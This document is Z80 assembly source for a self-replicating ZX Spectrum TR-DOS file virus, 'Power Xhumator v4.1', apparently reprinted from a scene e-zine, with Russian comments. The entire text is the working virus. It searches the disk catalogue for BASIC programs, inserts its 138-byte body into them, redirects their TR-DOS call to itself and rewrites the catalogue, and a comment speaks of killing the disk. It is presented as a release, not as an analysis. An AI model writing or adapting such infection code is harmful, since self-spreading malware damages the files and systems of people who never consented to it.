;published in Social Distortion #2
;---------------------------
;    Power Xhumator v4.1
; Special edition  4 Zx-Net
;
;     Koded & Optimized
;      by  !mPeR!0^PHG
;---------------------------

LEN     EQU     138

        ORG     #8000

        RST     56
        EXX                  ;меняем регистры на альтренативные
        DEC     SP
        DEC     SP
        POP     AF           ;получем адрес запуска вируса + 1
        EX      AF,AF'
        LD      HL,#C9F1     ;(*)
        LD      (23746),HL   ;(*)
        LD      DE,0         ;(*)
        LD      BC,#0905
        PUSH    HL
        PUSH    HL
        CALL    #3D13        ;чиатем 0 трек
        EX      (SP),HL
FIND    POP     AF           ;ищем жертву
        LD      A,(HL)
        POP     DE
        AND     A
        JR      Z,EXIT       ;жертв нет, диск можно убивать
        PUSH    DE
        LD      DE,4
        ADD     HL,DE
        ADD     HL,DE
        LD      A,(HL)       ;тип файла
        INC     HL
        LD      C,(HL)       ;длина.Lo
        PUSH    HL
        INC     HL
        LD      B,(HL)       ;длина.Hi
        ADD     HL,DE
        LD      E,(HL)       ;начальный сектор
        INC     HL
        LD      D,(HL)       ;начальный трек
        INC     HL
        CP      "B"
        JR      NZ,FIND      ;то не basic
        LD      A,C
        CP      253-LEN
        JR      NC,FIND      ;длины многовато будет
        POP     HL
        ADD     A,LEN        ;увеличиваем длину файла
        LD      (HL),A       ;на длину вируса
        LD      HL,#DD3B
        PUSH    BC
        PUSH    DE
        PUSH    HL
        PUSH    BC
        PUSH    BC
        PUSH    HL
        INC     B
        LD      C,5
        CALL    #3D13        ;читаем файл
        POP     HL
        POP     BC
        ADD     HL,BC
        PUSH    HL
        PUSH    HL
        EX      DE,HL
        LD      HL,LEN
        PUSH    HL
        ADD     HL,DE
        EX      DE,HL
        LDIR                 ;освобождаем место для вируса
        POP     BC
        POP     DE
        EX      AF,AF'
        PUSH    AF
        POP     HL
        DEC     HL
        LDIR                 ;всовываем код вируса
        POP     DE
        POP     BC
        LD      H,D
        LD      L,E
        RES     7,D
        LD      A,#3D
        CPDR                 ;ищем с конца файла #3D
        ADD     A,(HL)
        CP      #50
        JR      NZ,SAVE      ;это не #3D13

        LD      (HL),E       ;меняем #3D13 на адрес вируса
        INC     HL
        LD      (HL),D
SAVE    POP     HL
        POP     DE
        POP     BC
        INC     B
        LD      C,6
        CALL    #3D13        ;сохраняем файл на свое место
EXIT    POP     HL
        LD      DE,0         ;(*)
        LD      BC,#0906
        CALL    #3D13        ;сохраняем измененный нулевой трек

        EXX                  ;восстанавливаем регистры

        JP      #3D13        ;выполняем обращение к TR-DOS
                             ;(то, которое должна была выполнить
                             ;зараженная прога),
